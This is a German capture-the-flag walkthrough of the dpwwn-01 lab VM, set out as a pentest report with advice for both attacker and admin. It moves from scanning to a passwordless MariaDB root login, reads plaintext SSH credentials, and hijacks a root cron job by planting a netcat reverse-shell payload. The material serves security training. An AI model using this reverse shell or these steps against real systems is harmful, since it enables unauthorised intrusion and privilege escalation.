192.168.2.100 08:00:27:97:78:a7 PCS Systemtechnik GmbH
Analyse: Scan des lokalen Netzwerks mittels ARP-Protokoll zur Entdeckung aktiver Hosts.
Bewertung: Host `192.168.2.100` identifiziert. Die MAC-Adresse (`08:00:27:97:78:a7`) deutet auf eine VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.100` für weitere Scans verwenden.
Empfehlung (Admin): Standard Netzwerkerkennung.
[Inhalt der /etc/hosts Datei nach der Bearbeitung] 192.168.2.100 dpwwn.vln
Analyse: Die lokale `/etc/hosts`-Datei wird editiert, um den Hostnamen `dpwwn.vln` der IP `192.168.2.100` zuzuordnen.
Bewertung: Vereinfacht die Adressierung des Ziels im weiteren Verlauf.
Empfehlung (Pentester): Verwende `dpwwn.vln` für Web-Anfragen.
Empfehlung (Admin): Clientseitige Einstellung.
22/tcp open ssh penSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentS) PHP/5.4.16) 3306/tcp open mysql MySQL 5.5.60-MariaDB
Analyse: Ein schneller Nmap-Scan wird ausgeführt und nach offenen Ports gefiltert.
Bewertung: Drei offene Ports werden identifiziert: * **Port 22 (SSH):** OpenSSH 7.4. Eine etwas ältere Version. * **Port 80 (HTTP):** Apache 2.4.6 (CentOS) mit PHP 5.4.16. Beides veraltet. * **Port 3306 (MySQL):** MariaDB 5.5.60. Ein offener Datenbankport ist immer interessant. Alle drei Dienste bieten potenzielle Angriffsvektoren.
Empfehlung (Pentester):** Führe einen vollständigen Nmap-Scan durch. Untersuche den MySQL-Port auf mögliche anonyme oder schwache Logins. Untersuche den Webserver. Prüfe SSH auf bekannte Schwachstellen.
Empfehlung (Admin):** Schließe den MySQL-Port (3306) zur Außenwelt, wenn kein externer Zugriff benötigt wird (bind-address = 127.0.0.1 in my.cnf). Aktualisiere Apache, PHP und OpenSSH dringend.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-29 15:32 CEST Nmap scan report for dpwwn.vln (192.168.2.100) Host is up (0.000099s latency). Not shown: 997 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 c1:d3:be:39:42:9d:5c:b4:95:2c:5b:2e:20:59:0e:3a (RSA) | 256 43:4a:c6:10:e7:17:7d:a0:c0:c3:76:88:1d:43:a1:8c (ECDSA) |_ 256 0e:cc:e3:e1:f7:87:73:a1:03:47:b9:e2:cf:1c:93:15 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentS) PHP/5.4.16) |_http-title: Apache HTTP Server Test Page powered by CentS |_http-server-header: Apache/2.4.6 (CentS) PHP/5.4.16 | http-methods: |_ Potentially risky methods: TRACE 3306/tcp open mysql MySQL 5.5.60-MariaDB | mysql-info: | Protocol: 10 | Version: 5.5.60-MariaDB | Thread ID: 13 | Capabilities flags: 63487 [...] | Status: Autocommit | Salt: (=
Analyse: Ein detaillierter Nmap-Scan wird gegen die Top 1000 Ports durchgeführt (da `-p-` fehlt).
Bewertung: Bestätigt die drei offenen Ports (22, 80, 3306) und liefert Details: * SSH-Hostkeys werden angezeigt. * Apache zeigt die CentOS-Standardseite. TRACE ist aktiv. * MySQL/MariaDB gibt Versionsinformationen und Authentifizierungsdetails preis. Keine neuen Ports unter den Top 1000 gefunden.
Empfehlung (Pentester):** Fokus auf MySQL (anonymer Login?, `root` ohne Passwort?), Webserver und SSH.
Empfehlung (Admin):** Siehe vorherige Empfehlungen. Datenbank-Informationen ggf. einschränken.
- Nikto v2.5.0 [...] + Server: Apache/2.4.6 (CentOS) PHP/5.4.16 + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + PHP/5.4.16 appears to be outdated [...]. <-- Sehr alt! + Apache/2.4.6 appears to be outdated [...]. <-- Sehr alt! + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE . + /: HTTP TRACE method is active [...]. + PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products [...]. + /info.php: Retrieved x-powered-by header: PHP/5.4.16. + /info.php: Output from the phpinfo() function was found. <-- Wichtig! + /info.php: PHP is installed, and a test script which runs phpinfo() was found. [...] + /icons/: Directory indexing found. + /icons/README: Apache default file found. [...] + /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. <-- Interessant! [...] + 1 host(s) tested
Analyse: Nikto-Scan gegen Port 80.
Bewertung: * Bestätigt stark veraltete Versionen von Apache und **PHP 5.4.16** (End-of-Life!). * Findet eine `info.php`-Datei (`phpinfo()`). * Findet Standardverzeichnisse/Dateien. * **Interessant:** Meldet einen potenziellen RFI-Test-Payload für `info.php` (`?file=http://...`). Dies deutet stark darauf hin, dass `info.php` einen `file`-Parameter akzeptiert und anfällig für LFI/RFI sein könnte.
Empfehlung (Pentester):** Untersuche `info.php` manuell. Teste den `file`-Parameter auf LFI (z.B. `info.php?file=/etc/passwd`) und RFI (z.B. `info.php?file=http://[Angreifer-IP]/shell.txt`).
Empfehlung (Admin):** **Dringend Apache und PHP aktualisieren!** PHP 5.4 ist extrem veraltet und unsicher. Entferne `info.php`. Behebe die potenzielle LFI/RFI-Schwachstelle.
[...] http://dpwwn.vln/info.php (Status: 200) [Size: 47421] [...]
Analyse: Gobuster-Scan zur Verzeichnis-/Datei-Enumeration.
Bewertung: Findet `info.php`, was die Nikto-Ergebnisse bestätigt.
Empfehlung (Pentester):** Analysiere `info.php`.
Empfehlung (Admin):** Entferne `info.php`.
Testing 123.. This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that this site is working properly. This server is powered by CentOS.
Analyse: Inhalt der Startseite.
Bewertung: Bestätigt die Apache-Standardseite für CentOS.
Analyse:** Da der MySQL-Port offen ist, wird ein Login-Versuch unternommen.
Enter password: [Enter - kein Passwort]
Welcome to the MariaDB monitor. [...]
Server version: 5.5.60-MariaDB MariaDB Server
[...]
MariaDB [(none)]>
Analyse: Versuch, sich am MySQL-Server (Port 3306) als Benutzer `root` ohne Passwort anzumelden.
Bewertung:** **Kritische Fehlkonfiguration! Login erfolgreich!** Der `root`-Benutzer der MariaDB-Datenbank hat kein Passwort gesetzt und erlaubt Verbindungen von extern (nicht nur localhost). Dies gewährt vollen Zugriff auf die Datenbank.
Empfehlung (Pentester):** Enumeriere die Datenbanken und Tabellen. Suche nach Benutzerdaten, Hashes oder anderen sensiblen Informationen. Prüfe, ob UDF-Exploits oder `SELECT ... INTO OUTFILE` möglich sind, um eine Shell zu erhalten (obwohl dies bei MariaDB 5.5 eingeschränkt sein kann).
Empfehlung (Admin):** **Dringend ein starkes Passwort für den MySQL/MariaDB-Root-Benutzer setzen!** Beschränke den Zugriff auf localhost (`bind-address = 127.0.0.1`), wenn kein externer Zugriff benötigt wird.
+--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | ssh | <-- Interessante Datenbank! +--------------------+
Database changed
+-----------------+ | Tables_in_ssh | +-----------------+ | users | +-----------------+
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | mistic | testP@$$swordmistic |
+----+----------+-----------------------+
Analyse: Innerhalb der MySQL-Shell werden die Datenbanken aufgelistet. Eine Datenbank namens `ssh` wird gefunden. Diese wird ausgewählt, ihre Tabellen (`users`) angezeigt und der Inhalt der `users`-Tabelle abgefragt.
Bewertung:** **SSH-Credentials gefunden!** Die Datenbank `ssh` enthält eine Tabelle `users` mit dem Benutzernamen `mistic` und dem Passwort `testP@$$swordmistic` im Klartext.
Empfehlung (Pentester):** Versuche, dich mit `mistic:testP@$$swordmistic` per SSH (Port 22) anzumelden.
Empfehlung (Admin):** Speichere niemals Klartext-Passwörter in Datenbanken. Hashe und salze Passwörter immer. Verwende keine dedizierte Datenbank zur Speicherung von System-Credentials.
The authenticity of host 'dpwwn.vln (192.168.2.100)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'dpwwn.vln' (ED25519) to the list of known hosts. mistic@dpwwn.vln's password: testP@$$swordmistic [Passworteingabe] Last login: Thu Aug 1 14:41:37 2019 from 192.168.30.145 [mistic@dpwwn-01 ~]$
Analyse: SSH-Login als Benutzer `mistic` mit dem aus der Datenbank extrahierten Passwort.
Bewertung:** **Initial Access erfolgreich!** Der Login gelingt, und eine Shell als Benutzer `mistic` wird erhalten.
Empfehlung (Pentester):** Beginne Post-Exploitation als `mistic`.
Empfehlung (Admin):** Sichere Datenbanken, verwende keine Klartextpasswörter, schütze SSH.
Ziel des POC: Demonstrieren, wie durch Ausnutzung eines ungesicherten MySQL/MariaDB-Servers (root ohne Passwort) Zugangsdaten für einen Systembenutzer (`mistic`) aus einer Datenbank gelesen und für einen erfolgreichen SSH-Login verwendet werden können.
Voraussetzungen: Offener MySQL-Port (3306), `root`-Login ohne Passwort erlaubt, Datenbank `ssh` mit Tabelle `users` und Klartext-Credentials, aktiver SSH-Dienst (Port 22).
Schritte: MySQL-Login als `root` -> Datenbank `ssh` auswählen -> Tabelle `users` abfragen -> Credentials `mistic:testP@$$swordmistic` -> SSH-Login.
Enter password: [Enter]
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | mistic | testP@$$swordmistic |
+----+----------+-----------------------+
mistic@dpwwn.vln's password: testP@$$swordmistic
[...]
[mistic@dpwwn-01 ~]$
Ergebnis & Bewertung: **Initialer Zugriff erfolgreich!** Die katastrophale Datenbanksicherheit ermöglichte das direkte Auslesen von SSH-Zugangsdaten.
Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** **MySQL/MariaDB dringend absichern!** Root-Passwort setzen, Zugriff auf localhost beschränken, keine Klartext-Credentials speichern.
Analyse:** Nach Erhalt der Shell als `mistic` wird das System enumeriert.
insgesamt 4 -rwxr-xr-x. 1 mistic mistic 186 1. Aug 2019 logrot.sh
#!/bin/bash # #LOGFILE="/var/tmp" #SEMAPHORE="/var/tmp.semaphore" while : ; do read line while [[ -f $SEMAPHORE ]]; do sleep 1s done printf "%s\n" "$line" >> $LOGFILE done
[...] drwxr-xr-x. 2 mistic mistic 100 1. Aug 2019 . [...] -rwxr-xr-x. 1 mistic mistic 186 1. Aug 2019 logrot.sh [...]
uid=1000(mistic) gid=1000(mistic) Gruppen=1000(mistic) Kontext=...
Analyse: Im Home-Verzeichnis von `mistic` befindet sich nur ein Shell-Skript `logrot.sh`. Der Benutzer `mistic` hat Schreibrechte auf sein Home-Verzeichnis und somit auch auf dieses Skript.
Bewertung: Das Skript selbst scheint harmlos (liest Zeilen und schreibt sie in eine Logdatei, wenn eine Semaphore-Datei nicht existiert). Die Existenz eines Skripts im Home-Verzeichnis ist jedoch immer ein potenzieller Hinweis auf einen Cronjob oder einen anderen Mechanismus, der dieses Skript ausführt.
Empfehlung (Pentester):** Überprüfe die System-Crontabs (`/etc/crontab`, `/etc/cron.d/*`) und die Benutzer-Crontab (`crontab -l`) auf Einträge, die `/home/mistic/logrot.sh` ausführen.
Empfehlung (Admin):** Führe Cronjobs nicht aus Skripten in Benutzer-Home-Verzeichnissen aus, auf die der Benutzer Schreibrechte hat. Lege Skripte für System-Cronjobs in sicheren Verzeichnissen ab.
[... Standard SUID binaries, nichts Ungewöhnliches ...] 6665623 152 s--x--x 1 root root 154048 Okt 30 2018 /usr/bin/sudo [...]
/usr/bin/ping = cap_net_admin,cap_net_raw+p /usr/sbin/clockdiff = cap_net_raw+p /usr/sbin/arping = cap_net_raw+p /usr/sbin/suexec = cap_setgid,cap_setuid+ep
Analyse: Suche nach SUID-Binaries und Capabilities.
Bewertung: Findet keine ungewöhnlichen SUID-Binaries außer den Standardsachen. `sudo` ist vorhanden. Einige Capabilities sind gesetzt, aber keine scheinen direkt für PE missbrauchbar.
Empfehlung (Pentester):** Prüfe `sudo -l`. Fokus bleibt auf `logrot.sh` und Cronjobs.
Empfehlung (Admin):** Regelmäßige Überprüfung von SUID/Capabilities.
SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed */3 * * * * root /home/mistic/logrot.sh <-- Kritischer Eintrag!
Analyse: Der Inhalt der System-Crontab `/etc/crontab` wird angezeigt.
Bewertung:** **Volltreffer!** Es gibt einen Cronjob, der **alle 3 Minuten** (`*/3 * * * *`) das Skript `/home/mistic/logrot.sh` als Benutzer **`root`** ausführt.
Empfehlung (Pentester):** Da der Benutzer `mistic` Schreibrechte auf `/home/mistic/logrot.sh` hat, kann der Inhalt des Skripts überschrieben werden, um beliebigen Code als `root` auszuführen. Füge eine Reverse-Shell-Payload in `logrot.sh` ein und warte maximal 3 Minuten.
Empfehlung (Admin):** **Dringend den Cronjob korrigieren!** Führe niemals Skripte aus Benutzer-Home-Verzeichnissen als Root aus, wenn der Benutzer Schreibrechte hat. Verschiebe das Skript in ein Systemverzeichnis (z.B. `/usr/local/sbin`) und setze die Berechtigungen entsprechend.
#!/bin/bash
#
#LOGFILE="/var/tmp"
#SEMAPHORE="/var/tmp.semaphore"
# Originalinhalt auskommentiert/ersetzt durch Reverse Shell Payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f
# while : ; do
# read line
# while [[ -f $SEMAPHORE ]]; do
# sleep 1s
# done
# printf "%s\n" "$line" >> $LOGFILE
# done
Analyse: Das Skript `logrot.sh` wird bearbeitet. Der ursprüngliche Inhalt wird auskommentiert oder gelöscht und durch eine Standard-Reverse-Shell-Payload ersetzt, die sich zum Angreifer-Host `192.168.2.137` (IP scheint hier vom vorherigen Beispiel abzuweichen, sollte die aktuelle Angreifer-IP sein, z.B. 192.168.2.105 oder 192.168.2.199) auf Port `5555` verbindet.
Bewertung:** Vorbereitung des Cronjob-Hijackings. Wenn der Cronjob das nächste Mal als `root` läuft (innerhalb von 3 Minuten), wird diese Payload ausgeführt.
Empfehlung (Pentester):** Starte einen Netcat-Listener auf dem Angreifer-System auf Port 5555 und warte auf die eingehende Verbindung.
Empfehlung (Admin):** Cronjob korrigieren.
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.100] 58982 sh: no job control in this shell sh-4.2# id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023 sh-4.2#
Analyse: Ein Netcat-Listener wird auf dem Angreifer-System gestartet. Nach kurzer Zeit (max. 3 Minuten) stellt das Zielsystem (Cronjob als Root führt das modifizierte `logrot.sh` aus) eine Verbindung zum Listener her.
Bewertung:** **Privilege Escalation erfolgreich!** Eine Reverse Shell mit Root-Rechten (`uid=0(root)`) wurde durch das Hijacking des Cronjobs erhalten.
Empfehlung (Pentester):** Root-Zugriff etabliert. Suche die Root-Flag.
Empfehlung (Admin):** Cronjobs sicher konfigurieren.
anaconda-ks.cfg dpwwn-01-FLAG.txt
Congratulation! I knew you can pwn it as this very easy challenge.
Thank you.
64445777
Analyse: In der Root-Shell (vermutlich im `/root`-Verzeichnis) wird die Datei `dpwwn-01-FLAG.txt` gefunden und ihr Inhalt angezeigt.
Bewertung:** Die Root-Flag `64445777` wurde gefunden.
Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion.
Ziel des POC: Demonstrieren, wie durch Identifizierung und Modifikation eines unsicher konfigurierten Cronjobs, der ein Skript im Home-Verzeichnis eines Benutzers als Root ausführt, eine Root-Reverse-Shell erlangt werden kann.
Voraussetzungen: Shell als Benutzer `mistic`, Schreibrechte auf `/home/mistic/logrot.sh`, Cronjob-Eintrag in `/etc/crontab`, der `/home/mistic/logrot.sh` als `root` ausführt, Tools (`cat`, `vi`/`echo`, `nc`).
Schritte: Cronjob identifizieren (`cat /etc/crontab`) -> Skript `logrot.sh` mit Reverse-Shell-Payload überschreiben (`vi logrot.sh`) -> Listener starten (`nc -lvnp 5555`) -> Auf Cronjob-Ausführung warten (max. 3 Min) -> Root-Shell empfangen.
*/3 * * * * root /home/mistic/logrot.sh
listening on [any] 5555 ... [... nach max. 3 Minuten ...] connect to [...] from [...] [...] sh-4.2# id uid=0(root) gid=0(root) groups=0(root) [...]
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die unsichere Cronjob-Konfiguration ermöglichte das Ausführen beliebigen Codes als Root.
Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** **Cronjobs sicher konfigurieren!** Keine Skripte aus beschreibbaren Benutzerverzeichnissen als Root ausführen.